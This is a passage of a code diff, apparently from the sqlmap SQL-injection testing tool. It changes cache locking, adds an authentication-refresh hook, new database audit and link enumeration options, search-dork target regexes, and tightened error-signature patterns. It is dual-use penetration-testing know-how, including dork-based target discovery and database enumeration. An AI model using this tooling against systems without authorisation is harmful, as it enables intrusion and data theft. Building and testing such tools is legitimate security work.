_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != 80:
|
||||
request = request.replace(host, "%s:%d" % (host, int(port)))
|
||||
host = value = _.group(0).strip()
|
||||
if not re.search(r":\d+\Z", host) and int(port) != (443 if protocol == "https" else 80):
|
||||
value = "%s:%d" % (value, int(port))
|
||||
if protocol and "://" not in value: # Note: item's <protocol> (as the port alone can't tell e.g. HTTPS on 8443)
|
||||
value = re.sub(r"\A([^:]+:\s*)", r"\g<1>%s://" % protocol, value)
|
||||
request = request.replace(host, value)
|
||||
reqResList.append(request)
|
||||
else:
|
||||
reqResList = [content]
|
||||
|
||||
+37
-2
@@ -9,8 +9,40 @@ import copy
|
||||
import threading
|
||||
|
||||
from collections import OrderedDict
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class NoLock(object):
|
||||
"""
|
||||
No-op stand-in for a lock, used where the guarded operations are already atomic on their own
|
||||
|
||||
>>> with NoLock():
|
||||
... True
|
||||
True
|
||||
"""
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
return False
|
||||
|
||||
def cacheLock(reentrant=False):
|
||||
"""
|
||||
Returns a lock for guarding the (OrderedDict based) caches. Only Python 2 needs a real one, as its
|
||||
OrderedDict is implemented in Python (#5619), while on Python 3 each operation is atomic. Moreover,
|
||||
since Python 3.14 a Ctrl-C landing right after a lock got acquired by the 'with' statement leaves it
|
||||
acquired forever (i.e. '__exit__' never gets called), hanging every thread that touches the cache
|
||||
|
||||
>>> isinstance(cacheLock(), NoLock) == six.PY3
|
||||
True
|
||||
"""
|
||||
|
||||
if six.PY2:
|
||||
return threading.RLock() if reentrant else threading.Lock()
|
||||
else:
|
||||
return NoLock()
|
||||
|
||||
class AttribDict(dict):
|
||||
"""
|
||||
This class defines the dictionary with added capability to access members as attributes
|
||||
@@ -133,7 +165,7 @@ class LRUDict(object):
|
||||
def __init__(self, capacity):
|
||||
self.capacity = capacity
|
||||
self.cache = OrderedDict()
|
||||
self.__lock = threading.Lock()
|
||||
self.__lock = cacheLock()
|
||||
|
||||
def __len__(self):
|
||||
return len(self.cache)
|
||||
@@ -159,7 +191,10 @@ class LRUDict(object):
|
||||
self.cache.pop(key)
|
||||
except KeyError:
|
||||
if len(self.cache) >= self.capacity:
|
||||
self.cache.popitem(last=False)
|
||||
try:
|
||||
self.cache.popitem(last=False)
|
||||
except KeyError: # Note: concurrently emptied by another thread (unlocked on Python 3)
|
||||
pass
|
||||
self.cache[key] = value
|
||||
|
||||
def set(self, key, value):
|
||||
|
||||
+10
-3
@@ -9,6 +9,7 @@ import functools
|
||||
import threading
|
||||
|
||||
from lib.core.datatype import LRUDict
|
||||
from lib.core.datatype import cacheLock
|
||||
from lib.core.settings import MAX_CACHE_ITEMS
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
|
||||
@@ -40,7 +41,7 @@ def cachedmethod(f):
|
||||
"""
|
||||
|
||||
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
|
||||
_method_locks[f] = threading.RLock()
|
||||
_method_locks[f] = cacheLock(reentrant=True)
|
||||
|
||||
def _freeze(val):
|
||||
if isinstance(val, (list, set, tuple)):
|
||||
@@ -61,7 +62,10 @@ def cachedmethod(f):
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError: # Note: evicted in between (unlocked on Python 3)
|
||||
pass
|
||||
|
||||
except TypeError:
|
||||
# Note: fallback (slow-path) for unhashable arguments
|
||||
@@ -73,7 +77,10 @@ def cachedmethod(f):
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError:
|
||||
pass
|
||||
except TypeError:
|
||||
# Note: genuinely uncacheable arguments; skip caching altogether
|
||||
return f(*args, **kwargs)
|
||||
|
||||
+11
-1
@@ -108,11 +108,15 @@ class Dump(object):
|
||||
collector is active - which is only ever the case for a CLI --report-json run, never under
|
||||
--api - so this never double-captures alongside StdDbOut. A None content_type is resolved
|
||||
via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly.
|
||||
|
||||
Keyed by kb.reportTaskId rather than the fixed REPORT_TASKID so that a multi-target run
|
||||
(e.g. '-m' bulk file) keeps each target's results separate instead of later targets
|
||||
overwriting earlier ones under the same content_type.
|
||||
"""
|
||||
|
||||
if conf.get("reportCollector") is not None:
|
||||
from lib.utils.api import _storeData, REPORT_TASKID
|
||||
_storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
|
||||
_storeData(conf.reportCollector, kb.get("reportTaskId", REPORT_TASKID), stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
|
||||
|
||||
def flush(self):
|
||||
if self._outputFP:
|
||||
@@ -220,6 +224,12 @@ class Dump(object):
|
||||
def procedures(self, procedures):
|
||||
self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
|
||||
|
||||
def links(self, links):
|
||||
self.lister("database links", links, content_type=CONTENT_TYPE.LINKS)
|
||||
|
||||
def audit(self, audit):
|
||||
self.lister("database security audit", audit, content_type=CONTENT_TYPE.AUDIT)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader, content_type=None):
|
||||
self._areAdmins = set()
|
||||
|
||||
|
||||
+14
-12
@@ -352,18 +352,17 @@ class PAYLOAD(object):
|
||||
3: "High risk",
|
||||
}
|
||||
|
||||
CLAUSE = {
|
||||
0: "Always",
|
||||
1: "WHERE",
|
||||
2: "GROUP BY",
|
||||
3: "ORDER BY",
|
||||
4: "LIMIT",
|
||||
5: "OFFSET",
|
||||
6: "TOP",
|
||||
7: "Table name",
|
||||
8: "Column name",
|
||||
9: "Pre-WHERE (non-query)",
|
||||
}
|
||||
class CLAUSE(object):
|
||||
ALWAYS = 0
|
||||
WHERE = 1
|
||||
GROUP_BY = 2
|
||||
ORDER_BY = 3
|
||||
LIMIT = 4
|
||||
OFFSET = 5
|
||||
TOP = 6
|
||||
TABLE_NAME = 7
|
||||
COLUMN_NAME = 8
|
||||
PRE_WHERE = 9
|
||||
|
||||
class METHOD(object):
|
||||
COMPARISON = "comparison"
|
||||
@@ -430,6 +429,8 @@ class CONTENT_TYPE(object):
|
||||
REG_READ = 25
|
||||
STATEMENTS = 26
|
||||
PROCEDURES = 27
|
||||
LINKS = 28
|
||||
AUDIT = 29
|
||||
|
||||
class CONTENT_STATUS(object):
|
||||
IN_PROGRESS = 0
|
||||
@@ -463,6 +464,7 @@ class MKSTEMP_PREFIX(object):
|
||||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
SPECIFIC_RESPONSE = "sqlmapresponse-"
|
||||
PREPROCESS = "sqlmappreprocess-"
|
||||
AUTH_REFRESH = "sqlmapauthrefresh-"
|
||||
|
||||
class TIMEOUT_STATE(object):
|
||||
NORMAL = 0
|
||||
|
||||
+76
-5
@@ -142,6 +142,7 @@ from lib.parse.configfile import configFileParser
|
||||
from lib.parse.payloads import loadBoundaries
|
||||
from lib.parse.payloads import loadPayloads
|
||||
from lib.request.basic import checkCharEncoding
|
||||
from lib.request import authrefresh
|
||||
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
@@ -847,6 +848,24 @@ def _listTamperingFunctions():
|
||||
comment = match.group(1).strip()
|
||||
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
|
||||
|
||||
def _argSpec(function):
|
||||
"""
|
||||
Cross Py2/Py3 argument-name introspection - inspect.getargspec() is deprecated since
|
||||
Python 3.0 and removed entirely since 3.11, while inspect.getfullargspec() (used here
|
||||
whenever available) covers the same 'args'/'keywords' need without the warning/removal
|
||||
"""
|
||||
|
||||
return inspect.getfullargspec(function) if hasattr(inspect, "getfullargspec") else inspect.getargspec(function)
|
||||
|
||||
def _kwargsName(function):
|
||||
"""
|
||||
Name of 'function's **kwargs-style catch-all parameter, or None - the field holding it is
|
||||
called 'varkw' on a getfullargspec() result and 'keywords' on a (Python 2) getargspec() one
|
||||
"""
|
||||
|
||||
spec = _argSpec(function)
|
||||
return getattr(spec, "varkw", None) or getattr(spec, "keywords", None)
|
||||
|
||||
def _setTamperingFunctions():
|
||||
"""
|
||||
Loads tampering functions from given script(s)
|
||||
@@ -905,8 +924,15 @@ def _setTamperingFunctions():
|
||||
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
|
||||
priority = priority if priority is not None else PRIORITY.LOWEST
|
||||
|
||||
if not isinstance(priority, int):
|
||||
warnMsg = "tamper module '%s' has an invalid value for '__priority__' " % filename[:-3]
|
||||
warnMsg += "(assuming '%d')" % PRIORITY.NORMAL
|
||||
logger.warning(warnMsg)
|
||||
|
||||
priority = PRIORITY.NORMAL
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"):
|
||||
if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or _argSpec(function).args and _kwargsName(function) == "kwargs"):
|
||||
found = True
|
||||
kb.tamperFunctions.append(function)
|
||||
function.__name__ = module.__name__
|
||||
@@ -1016,7 +1042,7 @@ def _setPreprocessFunctions():
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
try:
|
||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
|
||||
if name == "preprocess" and _argSpec(function).args and all(_ in _argSpec(function).args for _ in ("req",)):
|
||||
found = True
|
||||
|
||||
kb.preprocessFunctions.append(function)
|
||||
@@ -1099,7 +1125,7 @@ def _setPostprocessFunctions():
|
||||
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
|
||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||
if name == "postprocess" and _argSpec(function).args and all(_ in _argSpec(function).args for _ in ("page", "headers", "code")):
|
||||
found = True
|
||||
|
||||
kb.postprocessFunctions.append(function)
|
||||
@@ -1127,6 +1153,42 @@ def _setPostprocessFunctions():
|
||||
errMsg += "(Note: find template script at '%s')" % filename
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def _setAuthRefreshFunction():
|
||||
"""
|
||||
Load the authentication refresh hook without performing a login during initialization.
|
||||
"""
|
||||
|
||||
if conf.authRefresh:
|
||||
try:
|
||||
script = safeFilepathEncode(conf.authRefresh.strip())
|
||||
|
||||
if not os.path.isfile(script):
|
||||
raise SqlmapFilePathException("auth refresh script '%s' does not exist" % script)
|
||||
if not script.endswith(".py"):
|
||||
raise SqlmapSyntaxException("auth refresh script should have an extension '.py'")
|
||||
|
||||
dirname, filename = os.path.split(os.path.abspath(script))
|
||||
if dirname not in sys.path:
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
logger.info("loading auth refresh module '%s'" % filename[:-3])
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)()
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
function = getattr(module, "refresh", None)
|
||||
if not inspect.isfunction(function):
|
||||
raise ValueError("missing function 'refresh()'")
|
||||
spec = _argSpec(function)
|
||||
if len(spec.args) > len(spec.defaults or ()) or any(_ not in (getattr(spec, "kwonlydefaults", None) or {}) for _ in getattr(spec, "kwonlyargs", ())):
|
||||
raise ValueError("function 'refresh()' must be callable without arguments")
|
||||
except Exception:
|
||||
raise SqlmapSyntaxException("unable to load 'refresh()' from auth refresh script '%s'" % script)
|
||||
except (SqlmapFilePathException, SqlmapSyntaxException) as ex:
|
||||
errMsg = "%s. You can find a template script at '%s'" % (getSafeExString(ex), authrefresh.createTemplate())
|
||||
raise type(ex)(errMsg)
|
||||
|
||||
kb.authRefreshFunction = function
|
||||
|
||||
def _setThreads():
|
||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
@@ -1268,7 +1330,7 @@ def _setHTTPHandlers():
|
||||
|
||||
match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc)
|
||||
if match:
|
||||
username, password = match.group(1), match.group(2)
|
||||
username, password = _urllib.parse.unquote(match.group(1)), _urllib.parse.unquote(match.group(2))
|
||||
else:
|
||||
username, password = None, None
|
||||
|
||||
@@ -1313,6 +1375,9 @@ def _setHTTPHandlers():
|
||||
if conf.proxyCred:
|
||||
# Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection
|
||||
proxyString = "%s@" % conf.proxyCred
|
||||
elif match:
|
||||
# Note: credentials from the proxy URL itself (kept URL-encoded, as urllib decodes them on its own)
|
||||
proxyString = "%s:%s@" % (match.group(1), match.group(2))
|
||||
else:
|
||||
proxyString = ""
|
||||
|
||||
@@ -2292,9 +2357,13 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
for _ in ("authRefresh", "cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.authRefreshHeaders = {}
|
||||
kb.authRefreshVersion = 0
|
||||
kb.authRefreshFailed = False
|
||||
|
||||
kb.matchRatio = None
|
||||
kb.maxConnectionsFlag = False
|
||||
kb.trueLength = None
|
||||
@@ -2402,6 +2471,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.passwordMgr = None
|
||||
kb.postprocessFunctions = []
|
||||
kb.preprocessFunctions = []
|
||||
kb.authRefreshFunction = None
|
||||
kb.skipVulnHost = None
|
||||
kb.storeCrawlingChoice = None
|
||||
kb.tamperFunctions = []
|
||||
@@ -3146,6 +3216,7 @@ def init():
|
||||
_setTamperingFunctions()
|
||||
_setPreprocessFunctions()
|
||||
_setPostprocessFunctions()
|
||||
_setAuthRefreshFunction()
|
||||
_setTrafficOutputFP()
|
||||
_setupHTTPCollector()
|
||||
_setHttpOptions()
|
||||
|
||||
@@ -163,6 +163,8 @@ optDict = {
|
||||
"getPasswordHashes": ("boolean", "Passwords"),
|
||||
"getPrivileges": ("boolean", "Privileges"),
|
||||
"getRoles": ("boolean", "Roles"),
|
||||
"getLinks": "boolean",
|
||||
"getAudit": "boolean",
|
||||
"getDbs": ("boolean", "Databases"),
|
||||
"getTables": ("boolean", "Tables"),
|
||||
"getColumns": ("boolean", "Columns"),
|
||||
@@ -256,8 +258,9 @@ optDict = {
|
||||
"hexConvert": "boolean",
|
||||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"postprocess": "string",
|
||||
"authRefresh": "string",
|
||||
"preprocess": "string",
|
||||
"postprocess": "string",
|
||||
"repair": "boolean",
|
||||
"reportJson": "string",
|
||||
"saveConfig": "string",
|
||||
|
||||
+17
-15
@@ -12,7 +12,6 @@ import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
@@ -20,7 +19,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.57"
|
||||
VERSION = "1.10.11.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -204,17 +203,14 @@ JITTER_JUNK_RESPONSES = (
|
||||
("", 200),
|
||||
)
|
||||
|
||||
# Regular expression used for extracting results from Google search
|
||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||
|
||||
# Google Search consent cookie
|
||||
GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2)))
|
||||
|
||||
# Regular expression used for extracting results from DuckDuckGo search
|
||||
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
||||
|
||||
# Regular expression used for extracting results from Bing search
|
||||
BING_REGEX = r'<h2><a href="([^"]+)" h='
|
||||
BING_REGEX = r'<h2[^>]*><a [^>]*href="(?:https?://www\.bing\.com/ck/a\?[^"]*?[?;]u=a1([^&"]+)[^"]*|([^"]+))"'
|
||||
|
||||
# Markers of search engine abuse/captcha pages (i.e. used IP address got blocked)
|
||||
SEARCH_ABUSE_MARKERS = ("detected unusual traffic", "issue with the Tor Exit Node you are currently using", "anomaly.js", "Verifying your browser", "automated queries")
|
||||
|
||||
# Dummy user agent for search (if default one returns different results)
|
||||
DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0"
|
||||
@@ -586,7 +582,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
|
||||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+(={10,}|\Z)"
|
||||
|
||||
# Regex used for parsing XML Burp saved history items
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>\s*(?:<protocol>\s*(https?)\s*</protocol>)?.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
|
||||
# Encoding used for Unicode data
|
||||
UNICODE_ENCODING = "utf8"
|
||||
@@ -612,6 +608,9 @@ MYSQL_UNION_VALUE_CAST = "CONVERT(%s USING utf8mb4) COLLATE utf8mb4_bin"
|
||||
# Row count at/above which keyset (seek) pagination is used automatically for table dumps when a usable integer-key cursor exists (smaller tables keep the plain LIMIT/OFFSET path; '--keyset' forces it regardless of size)
|
||||
KEYSET_MIN_ROWS = 1000
|
||||
|
||||
# Maximum detailed metadata rows per variable-size security audit listing
|
||||
AUDIT_MAX_ROWS = 20
|
||||
|
||||
# Number of Huffman (set-membership) character attempts made before their escape ratio is judged; at/above it, escapes reaching half of all attempts latch the technique off (safety against trimmed/blocked long IN() payloads)
|
||||
HUFFMAN_PROBE_LIMIT = 8
|
||||
|
||||
@@ -1193,7 +1192,10 @@ XPATH_ERROR_SIGNATURES = (
|
||||
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
|
||||
# NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
|
||||
# XSLT parser error suggest '--xpath' as well
|
||||
("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
|
||||
# NOTE: the gap has to stay bounded (like in 'Handlebars' below). An unbounded '.*?' turns this
|
||||
# into a quadratic scan of every long line that merely carries the word 'xpath' (e.g. minified
|
||||
# JS/JSON), which took ~25s on a 400KB response - and blew up the regex engine itself (#6105)
|
||||
("Generic XPath", r"XPath[^\n]{0,100}?(?:error|exception|syntax)"),
|
||||
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
|
||||
)
|
||||
|
||||
@@ -1337,7 +1339,7 @@ SSTI_ERROR_SIGNATURES = (
|
||||
("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
|
||||
("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
|
||||
("Struts2 (OGNL)", r"ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|org\.apache\.struts2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)"),
|
||||
("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
|
||||
("ERB", r"\(erb\):\d+|NameError[^\n]{0,100}?undefined local variable"),
|
||||
# NOTE: these must stay anchored to a diagnostic. The bare product names matched any page that
|
||||
# carries the word 'pug'/'jade'/'handlebars' (a surname, a colour, a <script src=> of the runtime),
|
||||
# and the bare 'ParseError' matched lxml.etree.XSLTParseError and ElementTree.ParseError
|
||||
@@ -1361,7 +1363,7 @@ XXE_ERROR_SIGNATURES = (
|
||||
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|\"[^\"]*\" must be declared|had to be read but the maximum)"),
|
||||
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
|
||||
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
|
||||
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
|
||||
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity [^\n]{0,100}? not defined)"),
|
||||
("Go encoding/xml", r"XML syntax error on line \d+"),
|
||||
# NOTE: 'unexpected end of ...' is what every parser says, not what an XML parser says. It matched
|
||||
# the "Unexpected end of query" of BaseX, the "Unexpected <EOF>" of GraphQL and the "Unexpected end
|
||||
@@ -1417,7 +1419,7 @@ HQL_ERROR_SIGNATURES = (
|
||||
("Hibernate", r"(?:unexpected (?:token:|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property))"),
|
||||
("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"),
|
||||
("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"),
|
||||
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"),
|
||||
("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b[^\n]{0,100}?(?:error|exception|syntax|not (?:mapped|resolve))"),
|
||||
)
|
||||
|
||||
HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES)
|
||||
@@ -1484,7 +1486,7 @@ SPARQL_ERROR_SIGNATURES = (
|
||||
# too - matching on it alone mislabelled them as RDF4J, so only the package name is kept
|
||||
("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"),
|
||||
("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"),
|
||||
("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"),
|
||||
("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b[^\n]{0,100}?(?:SPARQL|sparql)"),
|
||||
("Stardog", r"com\.(?:complexible\.)?stardog"),
|
||||
)
|
||||
|
||||
|
||||
+11
-3
@@ -561,7 +561,11 @@ def _resumeDBMS():
|
||||
dbms = value.lower()
|
||||
dbmsVersion = [UNKNOWN_DBMS_VERSION]
|
||||
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||
try:
|
||||
# Dirty patch for a Python 3.13/3.14 re module regression (e.g. https://github.com/sqlmapproject/sqlmap/issues/6128, https://github.com/sqlmapproject/sqlmap/issues/6137)
|
||||
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
|
||||
except TypeError:
|
||||
_ = None
|
||||
|
||||
if _:
|
||||
dbms = _.group(1).lower()
|
||||
@@ -666,8 +670,12 @@ def _createFilesDir():
|
||||
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
|
||||
return
|
||||
|
||||
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname))
|
||||
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir).
|
||||
# safeStringFormat() (not raw '%') because SQLMAP_FILES_PATH embeds SQLMAP_OUTPUT_PATH, which comes
|
||||
# straight from --output-dir - a literal '%' anywhere in that user-supplied path (e.g. an unexpanded
|
||||
# '$(date +%Y%m%d)' on a shell that doesn't support command substitution) would otherwise make the
|
||||
# '%' operator try to parse it as a format directive and crash
|
||||
conf.filePath = safeStringFormat(paths.SQLMAP_FILES_PATH, normalizeUnicode(getUnicode(conf.hostname)))
|
||||
|
||||
if not os.path.isdir(conf.filePath):
|
||||
try:
|
||||
|
||||
+6
-1
@@ -113,6 +113,8 @@ def vulnTest(tests=None, label="vuln"):
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
("-d \"<direct>\" --links", ("back-end DBMS: SQLite", "enumeration of database links is not supported on SQLite", "~unhandled exception")),
|
||||
("-d \"<direct>\" --audit", ("back-end DBMS: SQLite", "security configuration audit is not supported on SQLite", "~unhandled exception")),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
@@ -268,7 +270,10 @@ def vulnTest(tests=None, label="vuln"):
|
||||
|
||||
os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
|
||||
|
||||
output = shellExec(cmd)
|
||||
# GraphQL blind-dumps every table, including the wide LDAP directory fixture. It takes
|
||||
# ~124s locally on PyPy and can exceed 180s on CI; give that entry more room without
|
||||
# weakening its checks or changing the watchdog for the remaining entries (see #6129).
|
||||
output = shellExec(cmd, timeout=300 if "--graphql" in options else 180)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
|
||||
@@ -60,6 +60,7 @@ class _ThreadData(threading.local):
|
||||
self.lastHTTPError = None
|
||||
self.lastRedirectMsg = None
|
||||
self.lastQueryDuration = 0
|
||||
self.authRefreshTime = 0
|
||||
self.lastPage = None
|
||||
self.lastRequestMsg = None
|
||||
self.lastRequestUID = 0
|
||||
|
||||
+13
-4
@@ -138,8 +138,8 @@ def cmdLineParser(argv=None):
|
||||
target.add_argument("-r", dest="requestFile",
|
||||
help="Load HTTP request from a file")
|
||||
|
||||
target.add_argument("-g", dest="googleDork",
|
||||
help="Process Google dork results as target URLs")
|
||||
target.add_argument("-g", "--dork", dest="googleDork", metavar="DORK",
|
||||
help="Process search engine dork results as target URLs")
|
||||
|
||||
target.add_argument("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
@@ -484,6 +484,9 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("--hostname", dest="getHostname", action="store_true",
|
||||
help="Retrieve DBMS server hostname")
|
||||
|
||||
enumeration.add_argument("--audit", dest="getAudit", action="store_true",
|
||||
help="Audit DBMS security configuration and capabilities")
|
||||
|
||||
enumeration.add_argument("--is-dba", dest="isDba", action="store_true",
|
||||
help="Detect if the DBMS current user is DBA")
|
||||
|
||||
@@ -499,6 +502,9 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_argument("--roles", dest="getRoles", action="store_true",
|
||||
help="Enumerate DBMS users roles")
|
||||
|
||||
enumeration.add_argument("--links", dest="getLinks", action="store_true",
|
||||
help="Enumerate DBMS links")
|
||||
|
||||
enumeration.add_argument("--dbs", dest="getDbs", action="store_true",
|
||||
help="Enumerate DBMS databases")
|
||||
|
||||
@@ -730,8 +736,8 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--fresh-queries", dest="freshQueries", action="store_true",
|
||||
help="Ignore query results stored in session file")
|
||||
|
||||
general.add_argument("--gpage", dest="googlePage", type=int,
|
||||
